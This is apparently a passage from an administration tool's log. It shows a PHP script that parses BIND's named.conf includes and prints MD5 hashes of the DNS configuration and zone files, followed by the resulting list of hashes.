MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:08:33: Establishing a connection
2026-05-13 14:08:33: 

PUT: /tmp/pkp343507

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:08:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp343507; rm /tmp/pkp343507'

2026-05-13 14:08:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
